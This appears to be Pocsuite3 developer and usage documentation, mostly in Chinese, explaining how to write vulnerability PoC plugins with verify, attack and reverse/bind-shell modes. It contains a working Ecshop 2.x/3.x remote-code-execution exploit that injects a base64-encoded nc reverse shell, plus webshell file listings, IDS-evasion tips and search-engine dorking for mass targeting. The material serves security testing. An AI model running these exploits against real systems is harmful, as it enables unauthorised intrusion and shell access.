本小节介绍 PoC python 脚本编写 Pocsuite3 仅支持 Python 3.x,如若编写 Python3 格式的 PoC,需要开发者具备一定的 Python3 基础 1. 首先新建一个 `.py` 文件,文件名应当符合 [《PoC 命名规范》](#namedstandard) 2. 编写 PoC 实现类 `DemoPOC`,继承自 `PoCBase` 类. ```python from pocsuite3.api import Output, POCBase, register_poc, requests, logger from pocsuite3.api import get_listener_ip, get_listener_port from pocsuite3.api import REVERSE_PAYLOAD from pocsuite3.lib.utils import random_str class DemoPOC(POCBase): ... ``` 3. 填写 PoC 信息字段,**请认真填写所有基本信息字段** ```python vulID = '99335' # Seebug 漏洞收录ID,如果没有则为0 version = '1' # PoC 的版本,默认为1 author = 'seebug' # PoC 的作者 vulDate = '2021-8-18' # 漏洞公开日期 (%Y-%m-%d) createDate = '2021-8-20' # PoC 编写日期 (%Y-%m-%d) updateDate = '2021-8-20' # PoC 更新日期 (%Y-%m-%d) references = ['https://www.seebug.org/vuldb/ssvid-99335'] # 漏洞来源地址,0day 不用写 name = 'Fortinet FortiWeb 授权命令执行 (CVE-2021-22123)' # PoC 名称,建议命令方式:<厂商> <组件> <版本> <漏洞类型> appPowerLink = 'https://www.fortinet.com' # 漏洞厂商主页地址 appName = 'FortiWeb' # 漏洞应用名称 appVersion = '<=6.4.0' # 漏洞影响版本 vulType = 'Code Execution' # 漏洞类型,参见漏洞类型规范表 desc = '/api/v2.0/user/remoteserver.saml接口的name参数存在命令注入' # 漏洞简要描述 samples = ['http://192.168.1.1'] # 测试样列,就是用 PoC 测试成功的目标 install_requires = ['BeautifulSoup4:bs4'] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写 pocDesc = ''' poc的用法描述 ''' dork = {'zoomeye': 'deviceState.admin.hostname'} # 搜索 dork,如果运行 PoC 时不提供目标且该字段不为空,将会调用插件从搜索引擎获取目标。 suricata_request = '''http.uri; content: "/api/v2.0/user/remoteserver.saml";''' # 请求流量 suricata 规则 suricata_response = '' # 响应流量 suricata 规则 ``` 4. 编写验证模式 ```python def _verify(self): output = Output(self) # 验证代码 if result: # result是返回结果 output.success(result) else: output.fail('target is not vulnerable') return output ``` 5. 编写攻击模式 攻击模式可以对目标进行 getshell,查询管理员帐号密码等操作,定义它的方法与检测模式类似 ```python def _attack(self): output = Output(self) result = {} # 攻击代码 ``` 和验证模式一样,攻击成功后需要把攻击得到结果赋值给 result 变量 **注意:如果该 PoC 没有攻击模式,可以在 \_attack() 函数下加入一句 return self.\_verify() 这样你就无需再写 \_attack 函数了。** 6. 编写shell模式 [**new**] Pocsuite3 在 shell 模式会默认监听 `6666` 端口,编写对应的攻击代码,让目标执行反向连接运行 Pocsuite3 系统 IP 的 `6666` 端口即可得到一个 shell ```python def _shell(self): cmd = REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port()) # 攻击代码 execute cmd ``` shell 模式下,只能运行单个 PoC 脚本,控制台会进入 shell 交互模式执行命令及输出 从 ***1.8.5*** 版本开始,Pocsuite3 支持 bind shell。shell 模式和原来的操作方式一致,也需要指定监听 ip 和端口,监听 ip 可以是本地任意 ip,也可以是远程 vps ip。 bind shell 的实现位于 `./pocsuite3/modules/listener/bind_tcp.py`,原理是实现了一个中间层,一端连接漏洞目标的 bind shell(如 telnet 服务、nc 启动的 shell、php 一句话等),另一端连接用户指定的监听 ip 和端口,如此一来,shell 模式可以不受网络环境限制,支持在内网使用。 目前支持三种 bind shell,使用场景如下: `bind_shell`:通用方法,在 shell 模式中直接调用 `return bind_shell(self, rce_func)` 即可,非常便捷。针对有回显的漏洞,在 PoC 中实现一个 rce(函数名可自定义)方法,函数参数为命令输入,输出为命令输出。如果漏洞无回显,也可以通过写一句话转为有回显的。值得一提的是,用户也可以在 rce 方法中实现流量的加解密以逃避 IDS 检测。 `bind_tcp_shell`:对 tcp 绑定型 shell 的原生支持,在 shell 模式中 `return bind_tcp_shell(bind_shell_ip, bind_shell_port)` `bind_telnet_shell`:对 telnet 服务的原生支持,在 shell 模式中 `return bind_telnet_shell(ip, port, username, password)` 从 ***1.8.6*** 版本开始,Pocsuite3 支持加密的 shell。PoC 中使用 openssl 的反弹命令(也可以用代码反弹),并且在运行时指定 `--tls` 选项。 7. 结果返回 不管是验证模式或者攻击模式,返回结果 result 中的 key 值必须按照下面的规范来写,result 各字段意义请参见[《PoC 结果返回规范》](#resultstandard) ``` 'Result':{ 'DBInfo' : {'Username': 'xxx', 'Password': 'xxx', 'Salt': 'xxx' , 'Uid':'xxx' , 'Groupid':'xxx'}, 'ShellInfo': {'URL': 'xxx', 'Content': 'xxx' }, 'FileInfo': {'Filename':'xxx','Content':'xxx'}, 'XSSInfo': {'URL':'xxx','Payload':'xxx'}, 'AdminInfo': {'Uid':'xxx' , 'Username':'xxx' , 'Password':'xxx' } 'Database': {'Hostname':'xxx', 'Username':'xxx', 'Password':'xxx', 'DBname':'xxx'}, 'VerifyInfo':{'URL': 'xxx' , 'Postdata':'xxx' , 'Path':'xxx'} 'SiteAttr': {'Process':'xxx'} 'Stdout': 'result output string' } ``` output 为 Pocsuite3 标准输出 API,如果要输出调用成功信息则使用 `output.success(result)`,如果要输出调用失败则 `output.fail()`,系统自动捕获异常,不需要 PoC 里处理捕获,如果 PoC 里使用 try...except 来捕获异常,可通过`output.error('Error Message')` 来传递异常内容,建议直接使用模板中的 parse_output 通用结果处理函数对 _verify 和 _attack 结果进行处理。 ``` def _verify(self, verify=True): result = {} ... return self.parse_output(result) def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail() return output ``` 8. 注册 PoC 实现类 在类的外部调用 register_poc() 方法注册 PoC 类 ``` class DemoPOC(POCBase): # POC内部代码 # 注册 DemoPOC 类 register_poc(DemoPOC) ``` #### 可自定义参数的 PoC
如果你需要编写一个可以交互参数的 PoC 文件(例如有的 PoC 脚本需要填写登录信息,或者任意命令执行时执行任意命令),那么可以在 PoC 文件中声明一个 `_options` 方法。一个简单的例子如下: ```python from collections import OrderedDict from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE from pocsuite3.api import OptString class DemoPOC(POCBase): vulID = '0' # ssvid version = '1.0' author = ['seebug'] vulDate = '2019-2-26' createDate = '2019-2-26' updateDate = '2019-2-25' references = [''] name = '自定义命令参数登录例子' appPowerLink = 'http://www.knownsec.com/' appName = 'test' appVersion = 'test' vulType = VUL_TYPE.XSS desc = '''这个例子说明了你可以使用console模式设置一些参数或者使用命令中的'--'来设置自定义的参数''' samples = [] category = POC_CATEGORY.EXPLOITS.WEBAPP def _options(self): o = OrderedDict() o["username"] = OptString('', description='这个poc需要用户登录,请输入登录账号', require=True) o["password"] = OptString('', description='这个poc需要用户密码,请输出用户密码', require=False) return o def _verify(self): result = {} payload = "username={0}&password={1}".format(self.get_option("username"), self.get_option("password")) r = requests.post(self.url, data=payload) if r.status_code == 200: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url result['VerifyInfo']['Postdata'] = payload return self.parse_output(result) def _attack(self): return self._verify() def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output register_poc(DemoPOC) ``` 它可以使你在 `console` 或者 `cli` 模式下调用。 - 在 console 模式下,Pocsuite3 模仿了 msf 的操作模式,你只需要使用 `set` 命令来设置相应的参数,然后 `run` 或者 `check` 来执行(`attack` 和 `shell` 命令也可以)。 - 在 cli 模式下,如上面例子所示,定义了 `username` 和 `password` 两个字段,你可以在参数后面加上 `--username test --password test` 来调用执行,需要注意的是,如果你的参数中包含了空格,用双引号 `"` 来包裹它。 ##### 自定义字段 像其他工具一样,如果你想使用自定义的字段,将它定义到 `_options` 方法中,然后返回一个数组。如果在 PoC 文件中想调用自定义字段,需要提前引入: ```python from pocsuite3.api import OptString, OptDict, OptIP, OptPort, OptBool, OptInteger, OptFloat, OptItems ``` | 字段类型 | 字段描述 | 参数解释 | 相关例子 | | ---------- | ------------------------------------------------------------ | ------------------------------------------------------------ | -------- | | OptString | 接收字符串类型参数 | default: 传入一个默认值
descript: 字段描述,默认为空
require: 是否必须,默认False | | | OptDict | 接收一个字典类型参数,在选择上如果选择key,调用时会调用对应的value | default: 传入一个默认值
descript: 字段描述,默认为空
require: 是否必须,默认False | | | OptIP | 接收IP类型的字符串 | default: 传入一个默认值
descript: 字段描述,默认为空
require: 是否必须,默认False | | | OptPort | 接收端口类型参数 | default: 传入一个默认值
descript: 字段描述,默认为空
require: 是否必须,默认False | | | OptBool | 接收布尔类型参数 | default: 传入一个默认值
descript: 字段描述,默认为空
require: 是否必须,默认False | | | OptInteger | 接收整数类型参数 | default: 传入一个默认值
descript: 字段描述,默认为空
require: 是否必须,默认False | | | OptFloat | 接收浮点数类型参数 | default: 传入一个默认值
descript: 字段描述,默认为空
require: 是否必须,默认False | | | OptItems | 接收list类型参数 | default: 传入一个默认值
selectd: 默认选择
descript: 字段描述,默认为空
require: 是否必须,默认False | | 需要注意的是,`console` 模式支持所有的参数类型,`cli` 模式除了`OptDict`、`OptBool`、`OptItems` 类型外都支持。 #### PoC 编写注意事项
1. 要求在编写 PoC 的时候,尽量的不要使用第三方模块,如果在无法避免的情况下,请认真填写 install_requires 字段,填写格式参考《PoC 第三方模块依赖说明》。 2. 要求编写 PoC 的时候,尽量的使用 Pocsuite3 已经封装的 API 提供的方法,避免自己重复造轮子,对于一些通用方法可以加入到 API,具体参考《通用 API 列表》。 3. 如果 PoC 需要包含远程文件等,统一使用 Pocsuite3 远程调用文件,具体可以参考[《Pocsuite3 远程调用文件列表》](#inclue_files),不要引入第三方文件,如果缺少对应文件,联系管理员添加。 4. 要求每个 PoC 在编写的时候,尽可能的不要要求输入参数,这样定制化过高,不利于 PoC 的批量化调度执行,尽可能的 PoC 内部实现参数的构造,至少应该设置默认值,如某个 PoC 需要指定用户id,那么应该允许使用 extar_param 传入 id,也应该没有传入该参数的时候自动设置默认值,不应该影响 PoC 的正常运行与验证。 5. 要求每个 PoC 在输出结果的时候,尽可能的在不破坏的同时输出取证信息,如输出进程列表,具体参考[《PoC 结果返回规范》](#resultstandard)。 6. 要求认真填写 PoC 信息字段,其中 vulID 请填写 Seebug 上的漏洞 ID(不包含 SSV-)。 7. 为了防止误报产生以及避免被关键词被 WAF 等作为检测特征,要求验证结果判断的时候输出随机的字符串(可以调用 API 中的`random_str`方法),而不用采用固定字符串。 比如: ``` 检测 SQL 注入时: token = random_str() payload = 'select md5(%s)' % token ... if hashlib.new('md5', token).hexdigest() in content: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url 检测 XSS 漏洞时: # 可参考 https://paper.seebug.org/1119/ token = random_str() payload = 'alert("%s")' % token ... if payload in content: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url 检测 PHP 文件上传是否成功: token = random_str() payload = '' % token ... if hashlib.new('md5', token).hexdigest() in content: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url ``` 8. 任意文件如果需要知道网站路径才能读取文件的话,可以读取系统文件进行验证,要写 Windows 版和 Linux 版两个版本。 9. 检测模式下,上传的文件一定要删掉。 10. 程序可以通过某些方法获取表前缀,just do it;若不行,保持默认表前缀。 11. PoC 编写好后,务必进行测试,测试规则为:5 个不受漏洞影响的网站,确保 PoC 攻击不成功;5 个受漏洞影响的网站,确保 PoC 攻击成功 #### Pocsuite3 远程调用文件列表
部分 PoC 需要采用包含远程文件的形式,要求基于 Pocsuite3 的 PoC 统一调用统一文件(如需引用未在以下文件列表内文件,请联系 404-team@knownsec.com 或者直接提交 issue)。 统一 URL 调用路径:`https://pocsuite.org/include_files/`,如 `https://pocsuite.org/include_files/xxe_verify.xml` **文件列表** |文件名|说明| |-----|---| |a.jsp|一个通用简单的 JSP 一句话 Shell,攻击模式| |b.jsp|一个通用简单的 JSP 一句话 Shell,验证模式| |php_attack.txt|PHP 一句话| |php_verify.txt|PHP 打印 md5 值| |xxe_verify.xml|XXE 验证文件| #### 通用 API 列表
在编写 PoC 的时候,相关方法请尽量调用通用的已封装的 API **通用方法**
|方法|说明| |---|----| |from pocsuite3.api import logger|日志记录,比如logger.log(info)| |from pocsuite3.api import requests|请求类,用法同 requests| |from pocsuite3.api import Seebug|Seebug api 调用| |from pocsuite3.api import ZoomEye|ZoomEye api 调用| |from pocsuite3.api import CEye|Ceye api 调用| |from pocsuite3.api import crawl|简单爬虫功能| |from pocsuite3.api import PHTTPServer|Http服务功能| |from pocsuite3.api import REVERSE_PAYLOAD|反向连接shell payload| |from pocsuite3.api import get_results|获取结果| **参数调用**
* self.headers 用来获取 http 请求头, 可以通过 --cookie, --referer,--user-agent,--headers 来修改和增加需要的部分 * self.params 用来获取 --extra-params 赋值的变量,Pocsuite3 会自动转化成字典格式,未赋值时为空字典 * self.url 用来获取 -u / --url 赋值的 URL,如果之前赋值是 baidu.com 这样没有协议的格式时, Pocsuite3 会自动转换成 http://baidu.com ##### ShellCode 生成支持 在一些特殊的 Linux 和 Windows 环境下,想得到反弹 shell 条件比较困难。为此我们制作了用于在 Windows/Linux x86 x64 环境下的用于反弹的 shellcode,并制作了接口支持,你在只需要拥有命令执行权限下便可以自动将 shellcode 写入到目标机器以及执行反弹 shell 命令。Demo Poc:https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/thinkphp_rce2.py ```python from pocsuite3.api import generate_shellcode_list _list = generate_shellcode_list(listener_ip=get_listener_ip(), listener_port=get_listener_port(), os_target=OS.LINUX, os_target_arch=OS_ARCH.X86) ``` 将生成一长串执行指令,执行这些指令便可以反弹出一个 shell。 ##### HTTP 服务内置 对于一些需要第三方 HTTP 服务才能验证的漏洞,Pocsuite3 也提供对应的API,支持在本地开启一个 HTTP 服务方便进行验证。 可查看测试用例:https://github.com/knownsec/pocsuite3/blob/master/tests/test_httpserver.py #### PoC 代码示例
##### PoC Python 代码示例
[Ecshop 2.x/3.x Remote Code Execution](http://www.seebug.org/vuldb/ssvid-97343) PoC: ``` import base64 from urllib.parse import urljoin from pocsuite3.api import Output, POCBase, register_poc, requests, logger from pocsuite3.api import get_listener_ip, get_listener_port from pocsuite3.api import REVERSE_PAYLOAD from pocsuite3.lib.utils import random_str from requests.exceptions import ReadTimeout class DemoPOC(POCBase): vulID = '97343' # ssvid version = '3.0' author = ['seebug'] vulDate = '2018-06-14' createDate = '2018-06-14' updateDate = '2018-06-14' references = ['https://www.seebug.org/vuldb/ssvid-97343'] name = 'Ecshop 2.x/3.x Remote Code Execution' appPowerLink = '' appName = 'ECSHOP' appVersion = '2.x,3.x' vulType = 'Romote Code Execution' desc = ''' ''' samples = [] install_requires = [''] def _verify(self): result = {} path = "user.php?act=login" url = urljoin(self.url, path) echashs = [ '554fcae493e564ee0dc75bdf2ebf94ca', # ECShop 2.x hash '45ea207d7a2b68c49582d2d22adf953a' # ECShop 3.x hash ] for echash in echashs: payload = ('{0}ads|a:2:{{s:3:"num";s:116:"*/ select 1,0x2720756E696F6E202F2A,3,4,5,' '6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10' '-- -";s:2:"id";s:10:"\' union /*";}}{0}').format(echash) headers = {"Referer": payload} try: resp = requests.get(url, headers=headers) if resp and resp.status_code == 200 and "phpinfo()" in resp.text: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = url result['VerifyInfo']['Referer'] = payload break except Exception as ex: pass return self.parse_output(result) def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output def _attack(self): return self._verify() def _shell(self): path = "user.php" url = urljoin(self.url, path) echashs = [ '554fcae493e564ee0dc75bdf2ebf94ca', # ECShop 2.x hash '45ea207d7a2b68c49582d2d22adf953a' # ECShop 3.x hash ] cmd = REVERSE_PAYLOAD.NC.format(get_listener_ip(), get_listener_port()) phpcode = 'passthru("{0}");'.format(cmd) encoded_code = base64.b64encode(phpcode.encode()) postdata = { 'action': 'login', 'vulnspy': 'eval/**/(base64_decode({0}));exit;'.format(encoded_code.decode()), 'rnd': random_str(10) } for echash in echashs: payload = '{0}ads|a:3:{{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}}{1}'.format(echash, echash) headers = {"Referer": payload} try: resp = requests.post(url, data=postdata, headers=headers) if resp and resp.status_code == 200 and "phpinfo()" in resp.text: break except ReadTimeout: break except Exception as ex: pass register_poc(DemoPOC) ``` HttpServer Demo: ```python """ If you have issues about development, please read: https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md for more about information, plz visit https://pocsuite.org """ from http.server import SimpleHTTPRequestHandler from pocsuite3.api import Output, POCBase, register_poc from pocsuite3.api import PHTTPServer class MyRequestHandler(SimpleHTTPRequestHandler): def do_GET(self): path = self.path status = 404 count = 0 xxe_dtd = '''xxx''' if path == "/xxe_dtd": count = len(xxe_dtd) status = 200 self.send_response(status) self.send_header('Content-Type', 'text/html') self.send_header('Content-Length', '{}'.format(count)) self.end_headers() self.wfile.write(xxe_dtd.encode()) return self.send_response(status) self.send_header('Content-Type', 'text/html') self.send_header("Content-Length", "{}".format(count)) self.end_headers() def do_HEAD(self): status = 404 if self.path.endswith('jar'): status = 200 self.send_response(status) self.send_header("Content-type", "text/html") self.send_header("Content-Length", "0") self.end_headers() class DemoPOC(POCBase): vulID = '' # ssvid version = '1.0' author = ['seebug'] vulDate = '2018-03-08' createDate = '2018-04-12' updateDate = '2018-04-13' references = [''] name = '' appPowerLink = '' appName = '' appVersion = '' vulType = '' desc = ''' ''' samples = [] install_requires = [''] def _verify(self): result = {} '''Simple http server demo default params: bind_ip='0.0.0.0' bind_port=666 is_ipv6=False use_https=False certfile=os.path.join(paths.POCSUITE_DATA_PATH, 'cacert.pem') requestHandler=BaseRequestHandler You can write your own handler, default list current directory ''' httpd = PHTTPServer(requestHandler=MyRequestHandler) httpd.start() # Write your code return self.parse_output(result) def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output _attack = _verify register_poc(DemoPOC) ``` ### Pocsuite3 集成调用
Pocsuite3 api 提供了集成调用` pocsuite3` 的全部功能函数,可参见测试用例 `tests/test_import_pocsuite_execute.py`。典型的集成调用方法如下: ```python from pocsuite3.api import init_pocsuite from pocsuite3.api import start_pocsuite from pocsuite3.api import get_results def run_pocsuite(): # config 配置可参见命令行参数, 用于初始化 pocsuite3.lib.core.data.conf config = { 'url': ['http://127.0.0.1:8080', 'http://127.0.0.1:21'], 'poc': ['ecshop_rce', 'ftp_burst'] } init_pocsuite(config) start_pocsuite() result = get_results() ``` ### PoC 规范说明
#### PoC 编号说明
PoC 编号 ID 与漏洞 ID 一致. 示例,漏洞库中的漏洞统一采用 “SSV-xxx” 编号的方式,则 PoC 编号为 xxx #### PoC 命名规范
PoC 命名分成3个部分组成漏洞应用名_版本号_漏洞类型名称 然后把文件名称中的所有字母改成小写,所有的符号改成 `_` 文件名不能有特殊字符和大写字母,最后出来的文件名应该像这样: ``` _1847_seeyon_3_1_login_info_disclosure.py ``` #### PoC 第三方模块依赖说明
PoC 编写的时候要求尽量不要使用第三方模块,如果必要使用,请在 PoC 的基础信息部分,增加 install_requires 字段,按照以下格式填写依赖的模块名: ``` install_requires =[str_item_, str_item, …] # 整个字段的值为 list,每个项为一个依赖模块 ``` str_item 格式:模块名==版本号,模块名为 pip install 安装时的模块名(请不要填写 import 的模块名) 如果遇到安装时模块名与调用时的不一致情况,用 `:` 分割开,例如常见的加密算法库 `pycryptodome`,但是调用是以 `from Crypto.Cipher import AES`,此时就需要如下填写: ```python install_requires = ['pycryptodome:Crypto'] ``` #### PoC 结果返回规范
result 为 PoC 返回的结果数据类型,result 返回值要求返回完整的一项,暂不符合 result 字段的情况,放入 extra 字段中,此步骤必须尽可能的保证运行者能够根据信息 复现/理解 漏洞,若果步骤复杂,在取证信息中说明。例如: ```python # 返回数据库管理员密码 result['DBInfo']['Password']='xxxxx' # 返回 Webshell 地址 result['ShellInfo']['URL'] = 'xxxxx' # 返回网站管理员用户名 result['AdminInfo']['Username']='xxxxx' ``` **extra 字段说明**
extra 字段为通用结果字段的补充字段,如果需要返回的内容中不属于通用结果字段,那么可以使用 extra 字段进行赋值。extra 字段为 dict 格式,可自定义 key 进行赋值,如: ``` result['extra' ]['field'] = 'aa' ``` **特殊字段:** evidence,针对结果中返回取证信息,定义字段名只允许为 evidence,并且只能存储于 extar 字段,即: ``` result['extra' ]['evidence'] = 'aa' ``` **通用字段说明**
``` result:[ { name: 'DBInfo', value:'数据库内容' }, { name: 'Username', value: '管理员用户名'}, { name: 'Password', value:'管理员密码' }, { name: 'Salt', value: '加密盐值'}, { name: 'Uid', value: '用户ID'}, { name: 'Groupid', value: '用户组ID'}, { name: 'ShellInfo', value: 'Webshell信息'}, { name: 'URL', value: 'Webshell地址'}, { name: 'Content', value: 'Webshell内容'}, { name: 'FileInfo', value: '文件信息'}, { name: 'Filename', value: '文件名称'}, { name: 'Content', value: '文件内容'}, { name: 'XSSInfo', value: '跨站脚本信息'}, { name: 'URL', value: '验证URL'}, { name: 'Payload', value: '验证Payload'}, { name: 'AdminInfo', value: '管理员信息'}, { name: 'Uid', value: '管理员ID'}, { name: 'Username', value: '管理员用户名'}, { name: 'Password', value: '管理员密码'}, { name: 'Database', value:'数据库信息' }, { name: 'Hostname', value: '数据库主机名'}, { name: 'Username', value:'数据库用户名' }, { name: 'Password', value: '数据库密码'}, { name: 'DBname', value: '数据库名'}, { name: 'VerifyInfo', value: '验证信息'}, { name: 'Target', value: '验证host:port'}, { name: 'URL', value: '验证URL'}, { name: 'Postdata', value: '验证POST数据'}, { name: 'Path', value: '网站绝对路径'}, { name: 'SiteAttr', value: '网站服务器信息'}, { name: 'Process', value: '服务器进程'} ] ``` #### 漏洞类型规范
英文名称中文名称缩写
Cross Site Scripting 跨站脚本 xss
Cross Site Request Forgery 跨站请求伪造 csrf
SQL Injection Sql注入 sql-inj
LDAP Injection ldap注入 ldap-inj
Mail Command Injection 邮件命令注入 smtp-inj
Null Byte Injection 空字节注入 null-byte-inj
CRLF Injection CRLF注入 crlf-inj
SSI Injection Ssi注入 ssi-inj
XPath Injection Xpath注入 xpath-inj
XML Injection Xml注入 xml-inj
XQuery Injection Xquery 注入 xquery-inj
Command Execution 命令执行 cmd-exec
Code Execution 代码执行 code-exec
Remote File Inclusion 远程文件包含 rfi
Local File Inclusion 本地文件包含 lfi
Abuse of Functionality 功能函数滥用 func-abuse
Brute Force 暴力破解 brute-force
Buffer Overflow 缓冲区溢出 buffer-overflow
Content Spoofing 内容欺骗 spoofing
Credential Prediction 证书预测 credential-prediction
Session Prediction 会话预测 session-prediction
Denial of Service 拒绝服务 dos
Fingerprinting 指纹识别 finger
Format String 格式化字符串 format-string
HTTP Response Smuggling http响应伪造 http-response-smuggling
HTTP Response Splitting http响应拆分 http-response-splitting
HTTP Request Splitting http请求拆分 http-request-splitting
HTTP Request Smuggling http请求伪造 http-request-smuggling
HTTP Parameter Pollution http参数污染 hpp
Integer Overflows 整数溢出 int-overflow
Predictable Resource Location 可预测资源定位 res-location
Session Fixation 会话固定 session-fixation
URL Redirector Abuse url重定向 redirect
Privilege Escalation 权限提升 privilege-escalation
Resolve Error 解析错误 resolve-error
Arbitrary File Creation 任意文件创建 file-creation
Arbitrary File Download 任意文件下载 file-download
Arbitrary File Deletion 任意文件删除 file-deletion
Arbitrary File Read 任意文件读取 file-read
Backup File Found 备份文件发现 bak-file-found
Database Found 数据库发现 db-found
Directory Listing 目录遍历 dir-listing
Directory Traversal 目录穿越 dir-traversal
File Upload 文件上传 file-upload
Login Bypass 登录绕过 login-bypass
Weak Password 弱密码 weak-pass
Remote Password Change 远程密码修改 remote-pass-change
Code Disclosure 代码泄漏 code-disclosure
Path Disclosure 路径泄漏 path-disclosure
Information Disclosure 信息泄漏 info-disclosure
Security Mode Bypass 安全模式绕过 sec-bypass
Malware 挂马 mal
Black Link 暗链 black-link
Backdoor 后门 backdoor
Insecure Cookie Handling 不安全的Cookie insecure-cookie-handling
Shellcode Shellcode shellcode
Variable Coverage 变量覆盖 variable-coverage
Injecting Malware Codes 恶意代码注入 injecting-malware-codes
Upload Files 文件上传 upload-files
Local Overflow 本地溢出 local-overflow
Path Traversal 目录穿越 path-traversal
Unauthorized Access 未授权访问 unauth-access
Remote Overflow 远程溢出 remote-overflow
Man-in-the-middle 中间人攻击 mitm
Out of Memory 内存溢出 out-of-memory
Buffer Over-read 缓冲区越界读 buffer-over-read
Backup File Found 备份文件泄漏 backup-file-found
Use After Free 释放后使用 uaf
DNS Hijacking DNS劫持 dns-hijacking
Improper Input Validation 不正确的输入校验 improper-input-validation
Universal Cross-site Scripting 通用型XSS uxss
Server-Side Request Forgery 服务器端请求伪造 ssrf
Other 其他 other
也可以参见[漏洞类型规范](http://seebug.org/category) pocsuite3-1.8.10/docs/USAGE.md000066400000000000000000000203141416712700400156370ustar00rootroot00000000000000# Usage - **pocsuite**: a cool and hackable command line program ## pocsuite It supports three modes: - ```verify``` - ```attack``` - ```shell``` You can also use ```pocsuite -h``` for more details. ``` usage: pocsuite [options] optional arguments: -h, --help show this help message and exit --version Show program's version number and exit --update Update Pocsuite -v {0,1,2,3,4,5,6} Verbosity level: 0-6 (default 1) Target: At least one of these options has to be provided to define the target(s) -u URL [URL ...], --url URL [URL ...] Target URL (e.g. "http://www.site.com/vuln.php?id=1") -f URL_FILE, --file URL_FILE Scan multiple targets given in a textual file -r POC [POC ...] Load PoC file from local or remote from seebug website -k POC_KEYWORD Filter PoC by keyword, e.g. ecshop -c CONFIGFILE Load options from a configuration INI file Mode: Pocsuite running mode options --verify Run poc with verify mode --attack Run poc with attack mode --shell Run poc with shell mode Request: Network request options --cookie COOKIE HTTP Cookie header value --host HOST HTTP Host header value --referer REFERER HTTP Referer header value --user-agent AGENT HTTP User-Agent header value (default random) --proxy PROXY Use a proxy to connect to the target URL --proxy-cred PROXY_CRED Proxy authentication credentials (name:password) --timeout TIMEOUT Seconds to wait before timeout connection (default 30) --retry RETRY Time out retrials times --delay DELAY Delay between two request of one thread --headers HEADERS Extra headers (e.g. "key1: value1\nkey2: value2") Account: Telnet404, Shodan, CEye, Fofa account options --login-user LOGIN_USER Telnet404 login user --login-pass LOGIN_PASS Telnet404 login password --shodan-token SHODAN_TOKEN Shodan token --fofa-user FOFA_USER fofa user --fofa-token FOFA_TOKEN fofa token --quake-token QUAKE_TOKEN quake token --censys-uid CENSYS_UID Censys uid --censys-secret CENSYS_SECRET Censys secret Modules: Modules(Seebug, Zoomeye, CEye, Fofa, Quake, Listener) options --dork DORK Zoomeye dork used for search --dork-zoomeye DORK_ZOOMEYE Zoomeye dork used for search --dork-shodan DORK_SHODAN Shodan dork used for search --dork-censys DORK_CENSYS Censys dork used for search --dork-fofa DORK_FOFA Fofa dork used for search --dork-quake DORK_QUAKE Quake dork used for search --max-page MAX_PAGE Max page used in search API --search-type SEARCH_TYPE search type used in ZoomEye API, web or host --vul-keyword VUL_KEYWORD Seebug keyword used for search --ssv-id SSVID Seebug SSVID number for target PoC --lhost CONNECT_BACK_HOST Connect back host for target PoC in shell mode --lport CONNECT_BACK_PORT Connect back port for target PoC in shell mode --tls Enable TLS listener in shell mode --comparison Compare popular web search engines --dork-b64 Whether dork is in base64 format Optimization: Optimization options --plugins PLUGINS Load plugins to execute --pocs-path POCS_PATH User defined poc scripts path --threads THREADS Max number of concurrent network requests (default 1) --batch BATCH Automatically choose defaut choice without asking --requires Check install_requires --quiet Activate quiet mode, working without logger --ppt Hiden sensitive information when published to the network --pcap use scapy capture flow --rule export suricata rules, default export reqeust and response --rule-req only export request rule --rule-filename RULE_FILENAME Specify the name of the export rule file Poc options: definition options for PoC --options Show all definition options [*] shutting down at 14:39:27 ``` **-f, --file URLFILE** Scan multiple targets given in a textual file ``` $ pocsuite -r pocs/poc_example.py -f url.txt --verify ``` > Attack batch processing mode only need to replace the ```--verify``` to ```--attack```. **-r POCFILE** POCFILE can be a file or Seebug SSVID. pocsuite plugin can load poc codes from any where. ``` $ pocsuite -r ssvid-97343 -u http://www.example.com --shell ``` **--verify** Run poc with verify mode. PoC(s) will be only used for a vulnerability scanning. ``` $ pocsuite -r pocs/poc_example.py -u http://www.example.com/ --verify ``` **--attack** Run poc with attack mode, PoC(s) will be exploitable, and it may allow hackers/researchers break into labs. ``` $ pocsuite -r pocs/poc_example.py -u http://www.example.com/ --attack ``` **--shell** Run poc with shell mode, PoC will be exploitable, when PoC shellcode successfully executed, pocsuite3 will drop into interactive shell. ``` $ pocsuite -r pocs/poc_example.py -u http://www.example.com/ --shell ``` **--threads THREADS** Using multiple threads, the default number of threads is 1 ``` $ pocsuite -r pocs/poc_example.py -f url.txt --verify --threads 10 ``` **--dork DORK** If you are a [**ZoomEye**](https://www.zoomeye.org/) user, The API is a cool and hackable interface. ex: Search redis server with ```port:6379``` and ```redis``` keyword. ``` $ pocsuite --dork 'port:6379' --vul-keyword 'redis' --max-page 2 ``` **--dork-shodan DORK** If you are a [**Shodan**](https://www.shodan.io/) user, The API is a cool and hackable interface. ex: Search libssh server with `libssh` keyword. ``` pocsuite -r pocs/libssh_auth_bypass.py --dork-shodan libssh --thread 10 ``` **--dork-fofa DORK** If you are a [**Fofa**](fofa) user, The API is a cool and hackable interface. ex: Search web server thinkphp with `body="thinkphp"` keyword. ``` $ pocsuite -r pocs/check_http_status.py --dork-fofa 'body="thinkphp"' --search-type web --thread 10 ``` **--dork-quake DORK** If you are a 